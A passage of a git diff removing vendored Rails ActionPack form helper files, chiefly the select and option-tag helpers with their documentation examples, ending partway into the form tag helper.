-        @template.hidden_field(@object_name, method, objectify_options(options))
-      end
-
-      def error_message_on(method, *args)
-        @template.error_message_on(@object || @object_name, method, *args)
-      end
-
-      def error_messages(options = {})
-        @template.error_messages_for(@object_name, objectify_options(options))
-      end
-
-      def submit(value = "Save changes", options = {})
-        @template.submit_tag(value, options.reverse_merge(:id => "#{object_name}_submit"))
-      end
-
-      def emitted_hidden_id?
-        @emitted_hidden_id
-      end
-
-      private
-        def objectify_options(options)
-          @default_options.merge(options.merge(:object => @object))
-        end
-
-        def nested_attributes_association?(association_name)
-          @object.respond_to?("#{association_name}_attributes=")
-        end
-
-        def fields_for_with_nested_attributes(association_name, args, block)
-          name = "#{object_name}[#{association_name}_attributes]"
-          association = args.first
-
-          if association.respond_to?(:new_record?)
-            association = [association] if @object.send(association_name).is_a?(Array)
-          elsif !association.is_a?(Array)
-            association = @object.send(association_name)
-          end
-
-          if association.is_a?(Array)
-            explicit_child_index = args.last[:child_index] if args.last.is_a?(Hash)
-            association.map do |child|
-              fields_for_nested_model("#{name}[#{explicit_child_index || nested_child_index(name)}]", child, args, block)
-            end.join
-          elsif association
-            fields_for_nested_model(name, association, args, block)
-          end
-        end
-
-        def fields_for_nested_model(name, object, args, block)
-          if object.new_record?
-            @template.fields_for(name, object, *args, &block)
-          else
-            @template.fields_for(name, object, *args) do |builder|
-              block.call(builder)
-              @template.concat builder.hidden_field(:id) unless builder.emitted_hidden_id?
-            end
-          end
-        end
-
-        def nested_child_index(name)
-          @nested_child_index[name] ||= -1
-          @nested_child_index[name] += 1
-        end
-    end
-  end
-
-  class Base
-    cattr_accessor :default_form_builder
-    self.default_form_builder = ::ActionView::Helpers::FormBuilder
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb
deleted file mode 100644
index d9d985a5..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_options_helper.rb
+++ /dev/null
@@ -1,599 +0,0 @@
-require 'cgi'
-require 'erb'
-require 'action_view/helpers/form_helper'
-
-module ActionView
-  module Helpers
-    # Provides a number of methods for turning different kinds of containers into a set of option tags.
-    # == Options
-    # The <tt>collection_select</tt>, <tt>select</tt> and <tt>time_zone_select</tt> methods take an <tt>options</tt> parameter, a hash:
-    #
-    # * <tt>:include_blank</tt> - set to true or a prompt string if the first option element of the select element is a blank. Useful if there is not a default value required for the select element.
-    #
-    # For example,
-    #
-    #   select("post", "category", Post::CATEGORIES, {:include_blank => true})
-    #
-    # could become:
-    #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #   </select>
-    #
-    # Another common case is a select tag for an <tt>belongs_to</tt>-associated object.
-    #
-    # Example with @post.person_id => 2:
-    #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:include_blank => 'None'})
-    #
-    # could become:
-    #
-    #   <select name="post[person_id]">
-    #     <option value="">None</option>
-    #     <option value="1">David</option>
-    #     <option value="2" selected="selected">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
-    #
-    # * <tt>:prompt</tt> - set to true or a prompt string. When the select element doesn't have a value yet, this prepends an option with a generic prompt -- "Please select" -- or the given prompt string.
-    #
-    # Example:
-    #
-    #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, {:prompt => 'Select Person'})
-    #
-    # could become:
-    #
-    #   <select name="post[person_id]">
-    #     <option value="">Select Person</option>
-    #     <option value="1">David</option>
-    #     <option value="2">Sam</option>
-    #     <option value="3">Tobias</option>
-    #   </select>
-    # 
-    # Like the other form helpers, +select+ can accept an <tt>:index</tt> option to manually set the ID used in the resulting output. Unlike other helpers, +select+ expects this 
-    # option to be in the +html_options+ parameter.
-    # 
-    # Example: 
-    # 
-    #   select("album[]", "genre", %w[rap rock country], {}, { :index => nil })
-    # 
-    # becomes:
-    # 
-    #   <select name="album[][genre]" id="album__genre">
-    #     <option value="rap">rap</option>
-    #     <option value="rock">rock</option>
-    #     <option value="country">country</option>
-    #   </select>
-    #
-    # * <tt>:disabled</tt> - can be a single value or an array of values that will be disabled options in the final output.
-    #
-    # Example:
-    #
-    #   select("post", "category", Post::CATEGORIES, {:disabled => 'restricted'})
-    #
-    # could become:
-    #
-    #   <select name="post[category]">
-    #     <option></option>
-    #     <option>joke</option>
-    #     <option>poem</option>
-    #     <option disabled="disabled">restricted</option>
-    #   </select>
-    #
-    # When used with the <tt>collection_select</tt> helper, <tt>:disabled</tt> can also be a Proc that identifies those options that should be disabled.
-    #
-    # Example:
-    #
-    #   collection_select(:post, :category_id, Category.all, :id, :name, {:disabled => lambda{|category| category.archived? }})
-    #
-    # If the categories "2008 stuff" and "Christmas" return true when the method <tt>archived?</tt> is called, this would return:
-    #   <select name="post[category_id]">
-    #     <option value="1" disabled="disabled">2008 stuff</option>
-    #     <option value="2" disabled="disabled">Christmas</option>
-    #     <option value="3">Jokes</option>
-    #     <option value="4">Poems</option>
-    #   </select>
-    #
-    module FormOptionsHelper
-      include ERB::Util
-
-      # Create a select tag and a series of contained option tags for the provided object and method.
-      # The option currently held by the object will be selected, provided that the object is available.
-      # See options_for_select for the required format of the choices parameter.
-      #
-      # Example with @post.person_id => 1:
-      #   select("post", "person_id", Person.all.collect {|p| [ p.name, p.id ] }, { :include_blank => true })
-      #
-      # could become:
-      #
-      #   <select name="post[person_id]">
-      #     <option value=""></option>
-      #     <option value="1" selected="selected">David</option>
-      #     <option value="2">Sam</option>
-      #     <option value="3">Tobias</option>
-      #   </select>
-      #
-      # This can be used to provide a default set of options in the standard way: before rendering the create form, a
-      # new model instance is assigned the default options and bound to @model_name. Usually this model is not saved
-      # to the database. Instead, a second model object is created when the create request is received.
-      # This allows the user to submit a form page more than once with the expected results of creating multiple records.
-      # In addition, this allows a single partial to be used to generate form inputs for both edit and create forms.
-      #
-      # By default, <tt>post.person_id</tt> is the selected option.  Specify <tt>:selected => value</tt> to use a different selection
-      # or <tt>:selected => nil</tt> to leave all options unselected. Similarly, you can specify values to be disabled in the option
-      # tags by specifying the <tt>:disabled</tt> option. This can either be a single value or an array of values to be disabled.
-      def select(object, method, choices, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_select_tag(choices, options, html_options)
-      end
-
-      # Returns <tt><select></tt> and <tt><option></tt> tags for the collection of existing return values of
-      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
-      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
-      # or <tt>:include_blank</tt> in the +options+ hash.
-      #
-      # The <tt>:value_method</tt> and <tt>:text_method</tt> parameters are methods to be called on each member
-      # of +collection+. The return values are used as the +value+ attribute and contents of each
-      # <tt><option></tt> tag, respectively.
-      # 
-      # Example object structure for use with this method:
-      #   class Post < ActiveRecord::Base
-      #     belongs_to :author
-      #   end
-      #   class Author < ActiveRecord::Base
-      #     has_many :posts
-      #     def name_with_initial
-      #       "#{first_name.first}. #{last_name}"
-      #     end
-      #   end
-      #
-      # Sample usage (selecting the associated Author for an instance of Post, <tt>@post</tt>):
-      #   collection_select(:post, :author_id, Author.all, :id, :name_with_initial, {:prompt => true})
-      #
-      # If <tt>@post.author_id</tt> is already <tt>1</tt>, this would return:
-      #   <select name="post[author_id]">
-      #     <option value="">Please select</option>
-      #     <option value="1" selected="selected">D. Heinemeier Hansson</option>
-      #     <option value="2">D. Thomas</option>
-      #     <option value="3">M. Clark</option>
-      #   </select>
-      def collection_select(object, method, collection, value_method, text_method, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_collection_select_tag(collection, value_method, text_method, options, html_options)
-      end
-
-
-      # Returns <tt><select></tt>, <tt><optgroup></tt> and <tt><option></tt> tags for the collection of existing return values of
-      # +method+ for +object+'s class. The value returned from calling +method+ on the instance +object+ will
-      # be selected. If calling +method+ returns +nil+, no selection is made without including <tt>:prompt</tt>
-      # or <tt>:include_blank</tt> in the +options+ hash.
-      #
-      # Parameters:
-      # * +object+ - The instance of the class to be used for the select tag
-      # * +method+ - The attribute of +object+ corresponding to the select tag
-      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
-      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
-      #   array of child objects representing the <tt><option></tt> tags.
-      # * +group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
-      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
-      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
-      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
-      #
-      # Example object structure for use with this method:
-      #   class Continent < ActiveRecord::Base
-      #     has_many :countries
-      #     # attribs: id, name
-      #   end
-      #   class Country < ActiveRecord::Base
-      #     belongs_to :continent
-      #     # attribs: id, name, continent_id
-      #   end
-      #   class City < ActiveRecord::Base
-      #     belongs_to :country
-      #     # attribs: id, name, country_id
-      #   end
-      #
-      # Sample usage:
-      #   grouped_collection_select(:city, :country_id, @continents, :countries, :name, :id, :name)
-      #
-      # Possible output:
-      #   <select name="city[country_id]">
-      #     <optgroup label="Africa">
-      #       <option value="1">South Africa</option>
-      #       <option value="3">Somalia</option>
-      #     </optgroup>
-      #     <optgroup label="Europe">
-      #       <option value="7" selected="selected">Denmark</option>
-      #       <option value="2">Ireland</option>
-      #     </optgroup>
-      #   </select>
-      #
-      def grouped_collection_select(object, method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        InstanceTag.new(object, method, self, options.delete(:object)).to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
-      end
-
-
-
-      # Return select and option tags for the given object and method, using
-      # #time_zone_options_for_select to generate the list of option tags.
-      #
-      # In addition to the <tt>:include_blank</tt> option documented above,
-      # this method also supports a <tt>:model</tt> option, which defaults
-      # to TimeZone. This may be used by users to specify a different time
-      # zone model object. (See +time_zone_options_for_select+ for more
-      # information.)
-      #
-      # You can also supply an array of TimeZone objects
-      # as +priority_zones+, so that they will be listed above the rest of the
-      # (long) list. (You can use TimeZone.us_zones as a convenience for
-      # obtaining a list of the US time zones, or a Regexp to select the zones
-      # of your choice)
-      #
-      # Finally, this method supports a <tt>:default</tt> option, which selects
-      # a default TimeZone if the object's time zone is +nil+.
-      #
-      # Examples:
-      #   time_zone_select( "user", "time_zone", nil, :include_blank => true)
-      #
-      #   time_zone_select( "user", "time_zone", nil, :default => "Pacific Time (US & Canada)" )
-      #
-      #   time_zone_select( "user", 'time_zone', TimeZone.us_zones, :default => "Pacific Time (US & Canada)")
-      #
-      #   time_zone_select( "user", 'time_zone', [ TimeZone['Alaska'], TimeZone['Hawaii'] ])
-      #
-      #   time_zone_select( "user", 'time_zone', /Australia/)
-      #
-      #   time_zone_select( "user", "time_zone", TZInfo::Timezone.all.sort, :model => TZInfo::Timezone)
-      def time_zone_select(object, method, priority_zones = nil, options = {}, html_options = {})
-        InstanceTag.new(object, method, self,  options.delete(:object)).to_time_zone_select_tag(priority_zones, options, html_options)
-      end
-
-      # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container
-      # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
-      # the "firsts" as option text. Hashes are turned into this form automatically, so the keys become "firsts" and values
-      # become lasts. If +selected+ is specified, the matching "last" or element will get the selected option-tag.  +selected+
-      # may also be an array of values to be selected when using a multiple select.
-      #
-      # Examples (call, result):
-      #   options_for_select([["Dollar", "$"], ["Kroner", "DKK"]])
-      #     <option value="$">Dollar</option>\n<option value="DKK">Kroner</option>
-      #
-      #   options_for_select([ "VISA", "MasterCard" ], "MasterCard")
-      #     <option>VISA</option>\n<option selected="selected">MasterCard</option>
-      #
-      #   options_for_select({ "Basic" => "$20", "Plus" => "$40" }, "$40")
-      #     <option value="$20">Basic</option>\n<option value="$40" selected="selected">Plus</option>
-      #
-      #   options_for_select([ "VISA", "MasterCard", "Discover" ], ["VISA", "Discover"])
-      #     <option selected="selected">VISA</option>\n<option>MasterCard</option>\n<option selected="selected">Discover</option>
-      #
-      # If you wish to specify disabled option tags, set +selected+ to be a hash, with <tt>:disabled</tt> being either a value
-      # or array of values to be disabled. In this case, you can use <tt>:selected</tt> to specify selected option tags.
-      #
-      # Examples:
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => "Super Platinum")
-      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :disabled => ["Advanced", "Super Platinum"])
-      #     <option value="Free">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced" disabled="disabled">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      #   options_for_select(["Free", "Basic", "Advanced", "Super Platinum"], :selected => "Free", :disabled => "Super Platinum")
-      #     <option value="Free" selected="selected">Free</option>\n<option value="Basic">Basic</option>\n<option value="Advanced">Advanced</option>\n<option value="Super Platinum" disabled="disabled">Super Platinum</option>
-      #
-      # NOTE: Only the option tags are returned, you have to wrap this call in a regular HTML select tag.
-      def options_for_select(container, selected = nil)
-        return container if String === container
-
-        container = container.to_a if Hash === container
-        selected, disabled = extract_selected_and_disabled(selected)
-
-        options_for_select = container.inject([]) do |options, element|
-          text, value = option_text_and_value(element)
-          selected_attribute = ' selected="selected"' if option_value_selected?(value, selected)
-          disabled_attribute = ' disabled="disabled"' if disabled && option_value_selected?(value, disabled)
-          options << %(<option value="#{html_escape(value.to_s)}"#{selected_attribute}#{disabled_attribute}>#{html_escape(text.to_s)}</option>)
-        end
-
-        options_for_select.join("\n").html_safe
-      end
-
-      # Returns a string of option tags that have been compiled by iterating over the +collection+ and assigning the
-      # the result of a call to the +value_method+ as the option value and the +text_method+ as the option text.
-      # Example:
-      #   options_from_collection_for_select(@people, 'id', 'name')
-      # This will output the same HTML as if you did this:
-      #   <option value="#{person.id}">#{person.name}</option>
-      #
-      # This is more often than not used inside a #select_tag like this example:
-      #   select_tag 'person', options_from_collection_for_select(@people, 'id', 'name')
-      #
-      # If +selected+ is specified as a value or array of values, the element(s) returning a match on +value_method+
-      # will be selected option tag(s).
-      #
-      # If +selected+ is specified as a Proc, those members of the collection that return true for the anonymous
-      # function are the selected values.
-      #
-      # +selected+ can also be a hash, specifying both <tt>:selected</tt> and/or <tt>:disabled</tt> values as required.
-      #
-      # Be sure to specify the same class as the +value_method+ when specifying selected or disabled options.
-      # Failure to do this will produce undesired results. Example:
-      #   options_from_collection_for_select(@people, 'id', 'name', '1')
-      # Will not select a person with the id of 1 because 1 (an Integer) is not the same as '1' (a string)
-      #   options_from_collection_for_select(@people, 'id', 'name', 1)
-      # should produce the desired results.
-      def options_from_collection_for_select(collection, value_method, text_method, selected = nil)
-        options = collection.map do |element|
-          [element.send(text_method), element.send(value_method)]
-        end
-        selected, disabled = extract_selected_and_disabled(selected)
-        select_deselect = {}
-        select_deselect[:selected] = extract_values_from_collection(collection, value_method, selected)
-        select_deselect[:disabled] = extract_values_from_collection(collection, value_method, disabled)
-
-        options_for_select(options, select_deselect)
-      end
-
-      # Returns a string of <tt><option></tt> tags, like <tt>options_from_collection_for_select</tt>, but
-      # groups them by <tt><optgroup></tt> tags based on the object relationships of the arguments.
-      #
-      # Parameters:
-      # * +collection+ - An array of objects representing the <tt><optgroup></tt> tags.
-      # * +group_method+ - The name of a method which, when called on a member of +collection+, returns an
-      #   array of child objects representing the <tt><option></tt> tags.
-      # * group_label_method+ - The name of a method which, when called on a member of +collection+, returns a
-      #   string to be used as the +label+ attribute for its <tt><optgroup></tt> tag.
-      # * +option_key_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the +value+ attribute for its <tt><option></tt> tag.
-      # * +option_value_method+ - The name of a method which, when called on a child object of a member of
-      #   +collection+, returns a value to be used as the contents of its <tt><option></tt> tag.
-      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
-      #   which will have the +selected+ attribute set. Corresponds to the return value of one of the calls
-      #   to +option_key_method+. If +nil+, no selection is made. Can also be a hash if disabled values are
-      #   to be specified.
-      #
-      # Example object structure for use with this method:
-      #   class Continent < ActiveRecord::Base
-      #     has_many :countries
-      #     # attribs: id, name
-      #   end
-      #   class Country < ActiveRecord::Base
-      #     belongs_to :continent
-      #     # attribs: id, name, continent_id
-      #   end
-      #
-      # Sample usage:
-      #   option_groups_from_collection_for_select(@continents, :countries, :name, :id, :name, 3)
-      #
-      # Possible output:
-      #   <optgroup label="Africa">
-      #     <option value="1">Egypt</option>
-      #     <option value="4">Rwanda</option>
-      #     ...
-      #   </optgroup>
-      #   <optgroup label="Asia">
-      #     <option value="3" selected="selected">China</option>
-      #     <option value="12">India</option>
-      #     <option value="5">Japan</option>
-      #     ...
-      #   </optgroup>
-      #
-      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
-      # wrap the output in an appropriate <tt><select></tt> tag.
-      def option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, selected_key = nil)
-        collection.inject("") do |options_for_select, group|
-          group_label_string = eval("group.#{group_label_method}")
-          options_for_select += "<optgroup label=\"#{html_escape(group_label_string)}\">"
-          options_for_select += options_from_collection_for_select(eval("group.#{group_method}"), option_key_method, option_value_method, selected_key)
-          options_for_select += '</optgroup>'
-        end
-      end
-
-      # Returns a string of <tt><option></tt> tags, like <tt>options_for_select</tt>, but
-      # wraps them with <tt><optgroup></tt> tags.
-      #
-      # Parameters:
-      # * +grouped_options+ - Accepts a nested array or hash of strings.  The first value serves as the
-      #   <tt><optgroup></tt> label while the second value must be an array of options. The second value can be a
-      #   nested array of text-value pairs. See <tt>options_for_select</tt> for more info.
-      #    Ex. ["North America",[["United States","US"],["Canada","CA"]]]
-      # * +selected_key+ - A value equal to the +value+ attribute for one of the <tt><option></tt> tags,
-      #   which will have the +selected+ attribute set. Note: It is possible for this value to match multiple options
-      #   as you might have the same option in multiple groups.  Each will then get <tt>selected="selected"</tt>.
-      # * +prompt+ - set to true or a prompt string. When the select element doesn’t have a value yet, this
-      #   prepends an option with a generic prompt — "Please select" — or the given prompt string.
-      #
-      # Sample usage (Array):
-      #   grouped_options = [
-      #    ['North America',
-      #      [['United States','US'],'Canada']],
-      #    ['Europe',
-      #      ['Denmark','Germany','France']]
-      #   ]
-      #   grouped_options_for_select(grouped_options)
-      #
-      # Sample usage (Hash):
-      #   grouped_options = {
-      #    'North America' => [['United States','US], 'Canada'],
-      #    'Europe' => ['Denmark','Germany','France']
-      #   }
-      #   grouped_options_for_select(grouped_options)
-      #
-      # Possible output:
-      #   <optgroup label="Europe">
-      #     <option value="Denmark">Denmark</option>
-      #     <option value="Germany">Germany</option>
-      #     <option value="France">France</option>
-      #   </optgroup>
-      #   <optgroup label="North America">
-      #     <option value="US">United States</option>
-      #     <option value="Canada">Canada</option>
-      #   </optgroup>
-      #
-      # <b>Note:</b> Only the <tt><optgroup></tt> and <tt><option></tt> tags are returned, so you still have to
-      # wrap the output in an appropriate <tt><select></tt> tag.
-      def grouped_options_for_select(grouped_options, selected_key = nil, prompt = nil)
-        body = ''
-        body << content_tag(:option, prompt, :value => "") if prompt
-
-        grouped_options = grouped_options.sort if grouped_options.is_a?(Hash)
-
-        grouped_options.each do |group|
-          body << content_tag(:optgroup, options_for_select(group[1], selected_key), :label => group[0])
-        end
-
-        body
-      end
-
-      # Returns a string of option tags for pretty much any time zone in the
-      # world. Supply a TimeZone name as +selected+ to have it marked as the
-      # selected option tag. You can also supply an array of TimeZone objects
-      # as +priority_zones+, so that they will be listed above the rest of the
-      # (long) list. (You can use TimeZone.us_zones as a convenience for
-      # obtaining a list of the US time zones, or a Regexp to select the zones
-      # of your choice)
-      #
-      # The +selected+ parameter must be either +nil+, or a string that names
-      # a TimeZone.
-      #
-      # By default, +model+ is the TimeZone constant (which can be obtained
-      # in Active Record as a value object). The only requirement is that the
-      # +model+ parameter be an object that responds to +all+, and returns
-      # an array of objects that represent time zones.
-      #
-      # NOTE: Only the option tags are returned, you have to wrap this call in
-      # a regular HTML select tag.
-      def time_zone_options_for_select(selected = nil, priority_zones = nil, model = ::ActiveSupport::TimeZone)
-        zone_options = ""
-
-        zones = model.all
-        convert_zones = lambda { |list| list.map { |z| [ z.to_s, z.name ] } }
-
-        if priority_zones
-	        if priority_zones.is_a?(Regexp)
-            priority_zones = model.all.find_all {|z| z =~ priority_zones}
-	        end
-          zone_options += options_for_select(convert_zones[priority_zones], selected)
-          zone_options += "<option value=\"\" disabled=\"disabled\">-------------</option>\n"
-
-          zones = zones.reject { |z| priority_zones.include?( z ) }
-        end
-
-        zone_options += options_for_select(convert_zones[zones], selected)
-        zone_options.html_safe
-      end
-
-      private
-        def option_text_and_value(option)
-          # Options are [text, value] pairs or strings used for both.
-          if !option.is_a?(String) and option.respond_to?(:first) and option.respond_to?(:last)
-            [option.first, option.last]
-          else
-            [option, option]
-          end
-        end
-
-        def option_value_selected?(value, selected)
-          if selected.respond_to?(:include?) && !selected.is_a?(String)
-            selected.include? value
-          else
-            value == selected
-          end
-        end
-
-        def extract_selected_and_disabled(selected)
-          if selected.is_a?(Hash)
-            [selected[:selected], selected[:disabled]]
-          else
-            [selected, nil]
-          end
-        end
-
-        def extract_values_from_collection(collection, value_method, selected)
-          if selected.is_a?(Proc)
-            collection.map do |element|
-              element.send(value_method) if selected.call(element)
-            end.compact
-          else
-            selected
-          end
-        end
-    end
-
-    class InstanceTag #:nodoc:
-      include FormOptionsHelper
-
-      def to_select_tag(choices, options, html_options)
-        html_options = html_options.stringify_keys
-        add_default_name_and_id(html_options)
-        value = value(object)
-        selected_value = options.has_key?(:selected) ? options[:selected] : value
-        disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
-        content_tag("select", add_options(options_for_select(choices, :selected => selected_value, :disabled => disabled_value), options, selected_value), html_options)
-      end
-
-      def to_collection_select_tag(collection, value_method, text_method, options, html_options)
-        html_options = html_options.stringify_keys
-        add_default_name_and_id(html_options)
-        value = value(object)
-        disabled_value = options.has_key?(:disabled) ? options[:disabled] : nil
-        selected_value = options.has_key?(:selected) ? options[:selected] : value
-        content_tag(
-          "select", add_options(options_from_collection_for_select(collection, value_method, text_method, :selected => selected_value, :disabled => disabled_value), options, value), html_options
-        )
-      end
-
-      def to_grouped_collection_select_tag(collection, group_method, group_label_method, option_key_method, option_value_method, options, html_options)
-        html_options = html_options.stringify_keys
-        add_default_name_and_id(html_options)
-        value = value(object)
-        content_tag(
-          "select", add_options(option_groups_from_collection_for_select(collection, group_method, group_label_method, option_key_method, option_value_method, value), options, value), html_options
-        )
-      end
-
-      def to_time_zone_select_tag(priority_zones, options, html_options)
-        html_options = html_options.stringify_keys
-        add_default_name_and_id(html_options)
-        value = value(object)
-        content_tag("select",
-          add_options(
-            time_zone_options_for_select(value || options[:default], priority_zones, options[:model] || ActiveSupport::TimeZone),
-            options, value
-          ), html_options
-        )
-      end
-
-      private
-        def add_options(option_tags, options, value = nil)
-          if options[:include_blank]
-            option_tags = "<option value=\"\">#{options[:include_blank] if options[:include_blank].kind_of?(String)}</option>\n" + option_tags
-          end
-          if value.blank? && options[:prompt]
-            prompt = options[:prompt].kind_of?(String) ? options[:prompt] : I18n.translate('support.select.prompt', :default => 'Please select')
-            option_tags = "<option value=\"\">#{prompt}</option>\n" + option_tags
-          end
-          option_tags.html_safe
-        end
-    end
-
-    class FormBuilder
-      def select(method, choices, options = {}, html_options = {})
-        @template.select(@object_name, method, choices, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      def collection_select(method, collection, value_method, text_method, options = {}, html_options = {})
-        @template.collection_select(@object_name, method, collection, value_method, text_method, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      def grouped_collection_select(method, collection, group_method, group_label_method, option_key_method, option_value_method, options = {}, html_options = {})
-        @template.grouped_collection_select(@object_name, method, collection, group_method, group_label_method, option_key_method, option_value_method, objectify_options(options), @default_options.merge(html_options))
-      end
-
-      def time_zone_select(method, priority_zones = nil, options = {}, html_options = {})
-        @template.time_zone_select(@object_name, method, priority_zones, objectify_options(options), @default_options.merge(html_options))
-      end
-    end
-  end
-end
diff --git a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb b/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb
deleted file mode 100644
index 42fc66f8..00000000
--- a/vendor/rails/actionpack/lib/action_view/helpers/form_tag_helper.rb
+++ /dev/null
@@ -1,490 +0,0 @@
-require 'cgi'
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  module Helpers
-    # Provides a number of methods for creating form tags that doesn't rely on an Active Record object assigned to the template like
-    # FormHelper does. Instead, you provide the names and values manually.
-    #
-    # NOTE: The HTML options <tt>disabled</tt>, <tt>readonly</tt>, and <tt>multiple</tt> can all be treated as booleans. So specifying
-    # <tt>:disabled => true</tt> will give <tt>disabled="disabled"</tt>.
-    module FormTagHelper
-      # Starts a form tag that points the action to an url configured with <tt>url_for_options</tt> just like
-      # ActionController::Base#url_for. The method for the form defaults to POST.
-      #
-      # ==== Options
-      # * <tt>:multipart</tt> - If set to true, the enctype is set to "multipart/form-data".
-      # * <tt>:method</tt> - The method to use when submitting the form, usually either "get" or "post".
-      #   If "put", "delete", or another verb is used, a hidden input with name <tt>_method</tt>
-      #   is added to simulate the verb over post.
-      # * A list of parameters to feed to the URL the form will be posted to.
-      #
-      # ==== Examples
-      #   form_tag('/posts')
-      #   # => <form action="/posts" method="post">
-      #
-      #   form_tag('/posts/1', :method => :put)
-      #   # => <form action="/posts/1" method="put">
-      #
-      #   form_tag('/upload', :multipart => true)
-      #   # => <form action="/upload" method="post" enctype="multipart/form-data">
-      #
-      #   <% form_tag '/posts' do -%>
-      #     <div><%= submit_tag 'Save' %></div>
-      #   <% end -%>
-      #   # => <form action="/posts" method="post"><div><input type="submit" name="submit" value="Save" /></div></form>
-      def form_tag(url_for_options = {}, options = {}, *parameters_for_url, &block)
-        html_options = html_options_for_form(url_for_options, options, *parameters_for_url)
-        if block_given?
-          form_tag_in_block(html_options, &block)
-        else
-          form_tag_html(html_options)
-        end
-      end
-
-      # Creates a dropdown selection box, or if the <tt>:multiple</tt> option is set to true, a multiple
-      # choice selection box.
-      #
-      # Helpers::FormOptions can be used to create common select boxes such as countries, time zones, or
-      # associated records. <tt>option_tags</tt> is a string containing the option tags for the select box.
-      #
-      # ==== Options
-      # * <tt>:multiple</tt> - If set to true the selection will allow multiple choices.
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   select_tag "people", "<option>David</option>"
-      #   # => <select id="people" name="people"><option>David</option></select>
-      #
-      #   select_tag "count", "<option>1</option><option>2</option><option>3</option><option>4</option>"
-      #   # => <select id="count" name="count"><option>1</option><option>2</option>
-      #   #    <option>3</option><option>4</option></select>
-      #
-      #   select_tag "colors", "<option>Red</option><option>Green</option><option>Blue</option>", :multiple => true
-      #   # => <select id="colors" multiple="multiple" name="colors[]"><option>Red</option>
-      #   #    <option>Green</option><option>Blue</option></select>
-      #
-      #   select_tag "locations", "<option>Home</option><option selected="selected">Work</option><option>Out</option>"
-      #   # => <select id="locations" name="locations"><option>Home</option><option selected='selected'>Work</option>
-      #   #    <option>Out</option></select>
-      #
-      #   select_tag "access", "<option>Read</option><option>Write</option>", :multiple => true, :class => 'form_input'
-      #   # => <select class="form_input" id="access" multiple="multiple" name="access[]"><option>Read</option>
-      #   #    <option>Write</option></select>
-      #
-      #   select_tag "destination", "<option>NYC</option><option>Paris</option><option>Rome</option>", :disabled => true
-      #   # => <select disabled="disabled" id="destination" name="destination"><option>NYC</option>
-      #   #    <option>Paris</option><option>Rome</option></select>
-      def select_tag(name, option_tags = nil, options = {})
-        html_name = (options[:multiple] == true && !name.to_s.ends_with?("[]")) ? "#{name}[]" : name
-        if Array === option_tags
-          ActiveSupport::Deprecation.warn 'Passing an array of option_tags to select_tag implicitly joins them without marking them as HTML-safe. Pass option_tags.join.html_safe instead.', caller
-        end
-        content_tag :select, option_tags, { "name" => html_name, "id" => sanitize_to_id(name) }.update(options.stringify_keys)
-      end
-
-      # Creates a standard text field; use these text fields to input smaller chunks of text like a username
-      # or a search query.
-      #
-      # ==== Options
-      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
-      # * <tt>:size</tt> - The number of visible characters that will fit in the input.
-      # * <tt>:maxlength</tt> - The maximum number of characters that the browser will allow the user to enter.
-      # * Any other key creates standard HTML attributes for the tag.
-      #
-      # ==== Examples
-      #   text_field_tag 'name'
-      #   # => <input id="name" name="name" type="text" />
-      #
-      #   text_field_tag 'query', 'Enter your search query here'
-      #   # => <input id="query" name="query" type="text" value="Enter your search query here" />
-      #
-      #   text_field_tag 'request', nil, :class => 'special_input'
-      #   # => <input class="special_input" id="request" name="request" type="text" />
-      #
-      #   text_field_tag 'address', '', :size => 75
-      #   # => <input id="address" name="address" size="75" type="text" value="" />
-      #
-      #   text_field_tag 'zip', nil, :maxlength => 5
-      #   # => <input id="zip" maxlength="5" name="zip" type="text" />
-      #
-      #   text_field_tag 'payment_amount', '$0.00', :disabled => true
-      #   # => <input disabled="disabled" id="payment_amount" name="payment_amount" type="text" value="$0.00" />
-      #
-      #   text_field_tag 'ip', '0.0.0.0', :maxlength => 15, :size => 20, :class => "ip-input"
